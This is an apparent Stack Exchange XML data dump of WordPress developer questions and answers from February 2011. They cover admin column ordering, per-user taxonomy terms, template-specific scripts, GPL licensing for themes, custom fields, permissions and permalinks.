  <row Id="8427" PostTypeId="1" AcceptedAnswerId="8431" CreationDate="2011-02-03T10:29:55.240" Score="1" ViewCount="224" Body="&lt;p&gt;When you register a custom column like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Register thumbnail column for au-gallery type&#xA;add_filter('manage_edit-au-gallery_columns', 'thumbnail_column');&#xA;function thumbnail_column($columns) {&#xA;$columns['thumbnail'] = 'Thumbnail';&#xA;return $columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by default it appears as the last one on the right.&#xA;How can I change the order? &#xA;What if I want to show the above column as the first one or the second one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-02-03T11:04:02.633" Title="Change order of custom columns for edit panels" Tags="&lt;3.0&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8428" PostTypeId="1" AcceptedAnswerId="8432" CreationDate="2011-02-03T10:48:07.247" Score="0" ViewCount="216" Body="&lt;p&gt;How can I allow each user to manage their own terms for a custom taxonomy when logged in on edit-tags page? user will only show &amp;amp; manage terms that only created by him not others for a custom taxonomy. But Admin and editor can manage all. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-02-03T11:30:59.257" Title="Multiple users – only allow them to manage their own terms for custom taxonomy when logged in" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8429" PostTypeId="2" ParentId="8424" CreationDate="2011-02-03T10:51:04.823" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Liam:&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are going to need to do is create a list of the top SEO plugins and themes and then document how each implements meta and develop a strategy for each. And/or maybe you can ask your users upon activation if they are using an SEO plugin much like Akismet asks users to enter an API key.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-03T10:51:04.823" CommentCount="2" />
  <row Id="8430" PostTypeId="2" ParentId="8427" CreationDate="2011-02-03T11:02:23.380" Score="2" ViewCount="" Body="&lt;p&gt;the only way i know how is to create your own array of columns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add to admin_init function&#xA;add_filter('manage_edit-au-gallery_columns', 'add_my_gallery_columns');&#xA;&#xA;function add_my_gallery_columns($gallery_columns) {&#xA;        $new_columns['cb'] = '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;';&#xA;&#xA;        $new_columns['id'] = __('ID');&#xA;        $new_columns['title'] = _x('Gallery Name', 'column name');&#xA;                // your new column somewhere good in the middle&#xA;        $new_columns['thumbnail'] = __('Thumbnail');&#xA;&#xA;        $new_columns['categories'] = __('Categories');&#xA;        $new_columns['tags'] = __('Tags');&#xA;        $new_columns['date'] = _x('Date', 'column name');&#xA;&#xA;        return $new_columns;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then render this extra added columns like you normally would&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add to admin_init function&#xA;    add_action('manage_au-gallery_posts_custom_column', 'manage_gallery_columns', 10, 2);&#xA;&#xA;    function manage_gallery_columns($column_name, $id) {&#xA;        global $wpdb;&#xA;        switch ($column_name) {&#xA;        case 'id':&#xA;            echo $id;&#xA;                break;&#xA;&#xA;        case 'Thumbnail':&#xA;            $thumbnail_id = get_post_meta( $id, '_thumbnail_id', true );&#xA;                // image from gallery&#xA;                $attachments = get_children( array('post_parent' =&amp;gt; $post_id, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image') );&#xA;                if ($thumbnail_id)&#xA;                    $thumb = wp_get_attachment_image( $thumbnail_id, array($width, $height), true );&#xA;                elseif ($attachments) {&#xA;                    foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;                        $thumb = wp_get_attachment_image( $attachment_id, array($width, $height), true );&#xA;                    }&#xA;                }&#xA;                if ( isset($thumb) &amp;amp;&amp;amp; $thumb ) {echo $thumb; } else {echo __('None');}&#xA;            break;&#xA;        default:&#xA;            break;&#xA;        } // end switch&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope This Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T11:02:23.380" />
  <row Id="8431" PostTypeId="2" ParentId="8427" CreationDate="2011-02-03T11:04:02.633" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Mirko:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are basically asking a PHP question, but I'll answer it because it's in the context of WordPress.  You basically need to &lt;strong&gt;rebuild the columns array, inserting your column before the column you want it to be left of&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_posts_columns', 'thumbnail_column');&#xA;function thumbnail_column($columns) {&#xA;  $new = array();&#xA;  foreach($columns as $key =&amp;gt; $title) {&#xA;    if ($key=='author') // Put the Thumbnail column before the Author column&#xA;      $new['thumbnail'] = 'Thumbnail';&#xA;    $new[$key] = $title;&#xA;  }&#xA;  return $new;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-03T11:04:02.633" CommentCount="4" />
  <row Id="8432" PostTypeId="2" ParentId="8428" CreationDate="2011-02-03T11:30:59.257" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@mha:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hmmm.  You are going to need to keep track of who added which terms which you can currently best do in a usermeta field as a comma-separated list  &lt;em&gt;(I'm assuming you don't expect more than ~1000 terms per user? At lot more than then I'd worry.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store the term IDs in the usermeta field using the &lt;code&gt;'edited_terms'&lt;/code&gt; hook as you see here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6549/any-examples-of-adding-custom-fields-to-the-category-editor/6599#6599&quot;&gt;&lt;strong&gt;Any examples of adding custom fields to the category editor?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically your code might look like this&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('edited_terms', 'yoursite_edited_terms');&#xA;function yoursite_edited_terms($term_id) {&#xA;  if($_POST['taxonomy'] == 'your_taxonomy'): {&#xA;    $user = wp_get_current_user();&#xA;    if ($user-&amp;gt;ID) {&#xA;      $terms = get_user_meta($user-&amp;gt;ID,'users_terms_for_your_taxonomy');&#xA;      $terms = (empty($terms) ? $term_id : &quot;{$terms},{$term_id}&quot;);&#xA;      update_user_meta($user-&amp;gt;ID,'users_terms_for_your_taxonomy',$terms);&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'll need to use the &lt;code&gt;'list_terms_exclusions'&lt;/code&gt; hook to limit your terms to only the ones needed for the current user, but allowing the Administrator an Editor to see them all by adding a &lt;code&gt;'can_manage_all_terms'&lt;/code&gt; capability which you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Members plugin&lt;/strong&gt;&lt;/a&gt; to create:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8197/how-can-i-hide-a-category-from-contributors-in-the-edit-add-new-post-screen/8199#8199&quot;&gt;&lt;strong&gt;How can I hide a category from Contributors in the edit/add new post screen?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's what that might look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('list_terms_exclusions', 'yoursite_list_terms_exclusions', 10, 2);&#xA;function yoursite_list_terms_exclusions( $exclusions, $args ) {&#xA;  global $pagenow;&#xA;  if (current_user_can('can_manage_all_terms') &amp;amp;&amp;amp; &#xA;    $pagenow=='edit-tags.php?taxonomy=your_post_taxonomy') {&#xA;    $terms = get_user_meta($user-&amp;gt;ID,'users_terms_for_your_taxonomy');&#xA;    $exclusions = &quot; {$exclusions} AND t.ID NOT IN ({$terms})&quot;;&#xA;  }&#xA;  return $exclusions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this code but it should get you on the right track. And be sure to replace anything in the code written as &lt;code&gt;'your_taxonomy'&lt;/code&gt; with a reference to your actual taxonomy. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-03T11:30:59.257" CommentCount="6" />
  <row Id="8433" PostTypeId="1" AcceptedAnswerId="8434" CreationDate="2011-02-03T11:53:18.413" Score="0" ViewCount="107" Body="&lt;p&gt;Is there a built in function to load scripts only for particular template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At them moment I am doing like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page('portfolio') || is_page('gallery')){&#xA;&#xA;wp_register_script('jScrollpane', get_bloginfo('stylesheet_directory') . '/js/jquery.jscrollpane.min.js');&#xA;wp_enqueue_script('jScrollpane');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works as long as I call the pages &quot;portfolio&quot; and &quot;gallery&quot;. I would like to have it more reusable, how can I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-02-03T12:22:38.887" Title="Load scripts only for selected template" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="8434" PostTypeId="2" ParentId="8433" CreationDate="2011-02-03T12:22:38.887" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;is_page_template('template.php')&lt;/code&gt; and just replace template.php with your template name.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-03T12:22:38.887" />
  <row Id="8435" PostTypeId="2" ParentId="8405" CreationDate="2011-02-03T12:41:14.280" Score="0" ViewCount="" Body="&lt;p&gt;From the Codex, it says that:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Licensing - WordPress is available&#xA;  under the GPL version 2 or (at your&#xA;  option) any later version&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Version_3.1&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Version_3.1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-03T12:41:14.280" />
  <row Id="8436" PostTypeId="1" CreationDate="2011-02-03T12:58:52.583" Score="0" ViewCount="344" Body="&lt;p&gt;The theme I purchased came without custom fields in the post/product editor. It uses a custom post type in its own admin php file. I've managed to add custom fields by pulling the following code out of wordpress core metabox.php file however I'm unsure how to get it to work. Its missing the area where the custom field values should go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;postcustomstuff&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;ajax-response&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;$metadata = has_meta($post-&amp;gt;ID);&#xA;list_meta($metadata);&#xA;meta_form(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-04-04T16:47:59.707" Title="Custom post type missing custom fields" Tags="&lt;custom-field&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="8437" PostTypeId="2" ParentId="8405" CreationDate="2011-02-03T13:12:08.160" Score="0" ViewCount="" Body="&lt;p&gt;Short answer: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll go through your question step by step so you can better understand why I write so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I notice that WordPress uses the GPL 2+ license.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This depends a bit to which version you are referring. The public available, stable version 3.0.4 is licensed under &lt;em&gt;GPL (no version given)&lt;/em&gt;. That was not always exceptionally visible, but WordPress was and still is &lt;a href=&quot;http://wpdevel.wordpress.com/2011/01/14/clarification-in-licensing-language/&quot; rel=&quot;nofollow&quot;&gt;GNU GPL non-version-restricted licensed indeed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next versions &lt;a href=&quot;http://codex.wordpress.org/Version_3.0.5&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0.5&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Version_3.1&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1.0&lt;/a&gt; will be released under &lt;em&gt;GPL v2 (or at your option any later version)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I release my free theme under GPL 3.0, since that's the most current version? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Regardless to which version of Wordpress you refer to, you can create a derivate out of the Wordpress code by adding your theme code and license it under GPL 3.0. That's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's your choice that counts here, you can personally decide which version to use, and it's correct that this can be version 3 of the GPL. Please name the original license for parts in the package, so it's visible where a change occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned about the most current version and why/how to choose version 3, please see &lt;a href=&quot;http://www.gnu.org/licenses/rms-why-gplv3.html&quot; rel=&quot;nofollow&quot;&gt;Why Upgrade to GPLv3&lt;/a&gt; to learn about the differences to version 2. And keep in mind that you probably want to license that derivate under &lt;em&gt;GPL v3 (or at the users option any later version)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would it create compatibility issues? Thanks!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can upgrade/convert GPL or GPL v2+ code easily to GPL v3 but not that easily the other way round. That's explained as well in the link above and not a fundamental problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, GPL v3 (2007) is compatible with additional FLOSS licenses compared to GPL v2 (1991) which makes it a preferable choice if you want to mix with Apache 2.0 code, as it is compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it is well updated for nowadays day-to-day use, for example if some of your users run into licensing problems, the termination is not per-se that fatal as it is for GPL v2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the highest amount of flexibility you can however release your theme under the terms of the GPL and create a derivate with the current stable version. This will ensure that it is the same way &lt;a href=&quot;http://www.dwheeler.com/essays/gpl-compatible.html&quot; rel=&quot;nofollow&quot;&gt;compatible&lt;/a&gt; as any derivate available today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For WP 3.1 you're compatible in the same sense with GPL v3+, there is actually no need to go back to GPL v2 if that is what you're asking for/what you prefer. It won't introduce any licensing trouble AFAIK.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;GPL Compatibility for the WordPress.org Theme Repository&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're asking because of the &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;theme repository on wordpress.org&lt;/a&gt; you need to look there for their licensing requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guidelines state that &quot;Themes are required to be 100% GPL-licensed, or use a GPL-compatible license. This includes all PHP, HTML, CSS, images, fonts, icons, and everything else. All of the theme must be GPL-Compatible.&quot; (&lt;a href=&quot;http://codex.wordpress.org/Theme_Review#Licensing&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;) and a &lt;a href=&quot;http://www.gnu.org/licenses/license-list.html&quot; rel=&quot;nofollow&quot;&gt;compatibility matrix&lt;/a&gt; is linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But keep in mind, it's known that part of the WordPress core project might be biased to the one or other specific GPL version and the project might want to influence on theme authors as well, so you should better ask them first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that the theme directory admins will suggest you to use GPL v2+ for your theme nowadays, but I have no clue if that is a must or not.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As always, IANAL but I hope my feedback is of some value to answer your question.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T11:32:08.893" LastActivityDate="2011-02-04T11:32:08.893" CommentCount="2" />
  <row Id="8438" PostTypeId="1" CreationDate="2011-02-03T13:15:07.000" Score="1" ViewCount="284" Body="&lt;p&gt;I'm having a problem with entries for a custom post type not being ordered as expected inside a custom query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;Related projects&amp;lt;/h4&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;&#xA;                $rp_args = array(&#xA;                        'post_type' =&amp;gt; 'work',&#xA;                        'post_status' =&amp;gt; 'publish',&#xA;                        'orderby' =&amp;gt; 'title',&#xA;                        'order' =&amp;gt; 'ASC',&#xA;                        );&#xA;&#xA;&#xA;                $related_projects = new WP_Query($rp_args);&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php &#xA;                if($related_projects-&amp;gt;have_posts()):&#xA;                while ($related_projects-&amp;gt;have_posts()) : $related_projects-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;               endwhile;&#xA;               endif;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's supposed to just simply pull out a custom post type and order it by name - but the ordering isn't working and I'm not sure why not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's simply listing the posts in the order they appear in the WP admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why my ordering isn't kicking in? It finds the correct post type and number of posts I specify - just the ordering doesn't seem to work.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T13:19:23.127" Title="Custom Post Type post ordering not working" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;" AnswerCount="1" CommentCount="12" />
  <row Id="8439" PostTypeId="2" ParentId="8436" CreationDate="2011-02-03T13:16:45.877" Score="0" ViewCount="" Body="&lt;p&gt;Are you sure support for custom fields is implemented at all? Support of meta for custom post type must be declared in &lt;code&gt;supports&lt;/code&gt; argument in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_type()&lt;/code&gt;&lt;/a&gt; or separate  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_type_support&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_post_type_support()&lt;/code&gt;&lt;/a&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would cover WP native edit controls, not sure how (if at all) that applies to custom page of your theme, might be better question for its developer indeed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T13:16:45.877" CommentCount="3" />
  <row Id="8440" PostTypeId="2" ParentId="8436" CreationDate="2011-02-03T13:16:49.900" Score="0" ViewCount="" Body="&lt;p&gt;In your theme files look for the code that registers the custom post type most likely using the register_post_type() function and in its arguments array where it says 'supports' =&gt; ...&#xA;Add 'custom-fields' to that string.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T13:16:49.900" CommentCount="4" />
  <row Id="8441" PostTypeId="2" ParentId="8438" CreationDate="2011-02-03T13:19:23.127" Score="4" ViewCount="" Body="&lt;p&gt;Yep - I'm stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Types Order plugin has an option (set by default) which overrides any ordering done in queries.  Turn that off and the problem goes away.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T13:19:23.127" CommentCount="1" />
  <row Id="8442" PostTypeId="1" AcceptedAnswerId="8443" CreationDate="2011-02-03T13:36:44.923" Score="1" ViewCount="200" Body="&lt;p&gt;I've a problem with permission. Is there a specific permission to let an user with Editor Role, manage the custom menu of a theme, and &lt;em&gt;only this options?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The item that is under Appereance -&gt; Menu, to be clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the capability plugin. &#xA;Must I write a custom hook to enable only the use of custom menu editor ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I've code a simple solution. See below my answer!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-03T23:44:07.637" LastActivityDate="2011-02-03T23:44:07.637" Title="Manage custom menu for an Editor?" Tags="&lt;custom-menus&gt;&lt;permissions&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8443" PostTypeId="2" ParentId="8442" CreationDate="2011-02-03T13:49:59.823" Score="1" ViewCount="" Body="&lt;p&gt;You need to give the editor role the 'edit_theme_options' permission, but that will also unlock other theme options like widgets to those users.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-02-03T13:49:59.823" CommentCount="1" />
  <row Id="8444" PostTypeId="2" ParentId="6909" CreationDate="2011-02-03T15:12:47.493" Score="0" ViewCount="" Body="&lt;p&gt;I took another approach to this. I encoded and decoded my options with HTML entities. One thing I'm not sure of is whether this opens up a nasty back door for folks to drive compromising HTML through. I am relying on the fact that only admins will be editing theme options anyway, but maybe I'm being naive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what it looks like when I save an option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('my_option', htmlentities(stripslashes($_REQUEST['my_option'])));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what it looks like when I retrieve an option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html_entity_decode(get_option('my_option',htmlentities($my_default_value)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-03T15:12:47.493" />
  <row Id="8445" PostTypeId="2" ParentId="8402" CreationDate="2011-02-03T15:33:59.380" Score="0" ViewCount="" Body="&lt;p&gt;a trick would be to blog by email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set up both sites to publish thru the same email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you send email - it is auto published to both at same time without waiting for cron job of aggregation to happen&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-03T15:33:59.380" />
  <row Id="8446" PostTypeId="1" AcceptedAnswerId="8459" CreationDate="2011-02-03T15:37:29.927" Score="1" ViewCount="204" Body="&lt;p&gt;Can I create a template and load it without associating a page/post to it in WordPress?&#xA;The template will list custom posts in XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a jquery carousel that loads an XML file through ajax. I am storing each slide as a custom post type call 'carousel_slide'. I want to create an XML feed with these custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I created the feed outside wordpress, including wp-load.php and using WP_Query. This worked fine but I now realize that I need a multi-lingual plugin (WPML) to be loaded as well. This is why I want to create a wp template instead. However if I create a template, I need to assign a page to it to be able to load it. I'd rather not create an empty page simply to be able to call a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to WordPress development and might have overlooked an obvious solution.&lt;/p&gt;&#xA;" OwnerUserId="2450" LastEditorUserId="2450" LastEditorDisplayName="" LastEditDate="2011-02-03T15:51:20.147" LastActivityDate="2011-02-03T19:08:33.573" Title="How to load a template without it being assigned to a page/post?" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8447" PostTypeId="1" AcceptedAnswerId="8452" CreationDate="2011-02-03T16:08:37.143" Score="0" ViewCount="200" Body="&lt;p&gt;Is it possible to allow people to utilize their email as their username?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-02-03T17:12:07.183" Title="Allowing an email as the username?" Tags="&lt;users&gt;&lt;user-access&gt;&lt;usermeta&gt;&lt;username&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8448" PostTypeId="2" ParentId="8447" CreationDate="2011-02-03T16:37:58.077" Score="0" ViewCount="" Body="&lt;p&gt;This plugin says it is possible &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-email-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-email-login/&lt;/a&gt;&#xA;It Lets you use your email address to log into your WordPress account instead of a username.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T16:37:58.077" />
  <row Id="8449" PostTypeId="1" AcceptedAnswerId="8457" CreationDate="2011-02-03T16:45:50.647" Score="5" ViewCount="305" Body="&lt;p&gt;I'm using custom permalinks &quot;/%category%/%postname%/&quot;. Whenever a post title contains quotes or apostrophes they appear in the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how prevent them from appearing in the slug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running WordPress 3.0.4.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-02-03T17:37:41.597" Title="How to prevent apostrophes and quotes from appearing in permalinks?" Tags="&lt;permalinks&gt;&lt;slug&gt;&lt;urls&gt;&lt;title&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="8450" PostTypeId="1" AcceptedAnswerId="8454" CreationDate="2011-02-03T16:55:02.773" Score="1" ViewCount="248" Body="&lt;p&gt;I've read a couple questions/answers on here but still am a little bit confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have domain1.com and domain2.com under one wordpress installation but have different content (separate blogs) accessible through one admin login (domain1.com/wp-admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have GoDaddy hosting but I'm using document root for another site so I currently have wordpress installed in a sub-directory.  Do I need to have wordpress installed in doc root?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hear terms like MultiSite and Create a Network but I see them as basically the same thing.  Am I wrong in thinking this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to accomplish this goal?  What steps do I need to follow first?  How do I point the 2 domain names to one installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2917" LastActivityDate="2011-02-03T20:29:46.890" Title="Multiple blogs, different domain names, one install to rule them all" Tags="&lt;multisite&gt;&lt;network&gt;&lt;domain-mapping&gt;" AnswerCount="2" />
  <row Id="8451" PostTypeId="2" ParentId="8449" CreationDate="2011-02-03T17:02:40.100" Score="3" ViewCount="" Body="&lt;p&gt;I've seen there are some plugins to work around this problem. Check &lt;a href=&quot;http://wordpress.org/extend/plugins/url-cleaner/&quot; rel=&quot;nofollow&quot;&gt;Clean URL&lt;/a&gt; for example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This simple WordPress plugin is used&#xA;  when generating article slug (=&#xA;  article name used in URL). It removes&#xA;  all characters other than letters a-z,&#xA;  numbers and hyphens (-). The plugin&#xA;  runs as the last one in the whole&#xA;  url-generating process, so first all&#xA;  standard replacements of diacritics&#xA;  and accents are performed, and then,&#xA;  if still some strange characters are&#xA;  present they are cut out.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-03T17:02:40.100" CommentCount="2" />
  <row Id="8452" PostTypeId="2" ParentId="8447" CreationDate="2011-02-03T17:12:07.183" Score="2" ViewCount="" Body="&lt;p&gt;As far as i know it should be possible to login with your email with wp 3.1, which will come soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an email as username is already possible. &quot;@&quot; and &quot;.&quot; are allowed characters for usernames. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-03T17:12:07.183" />
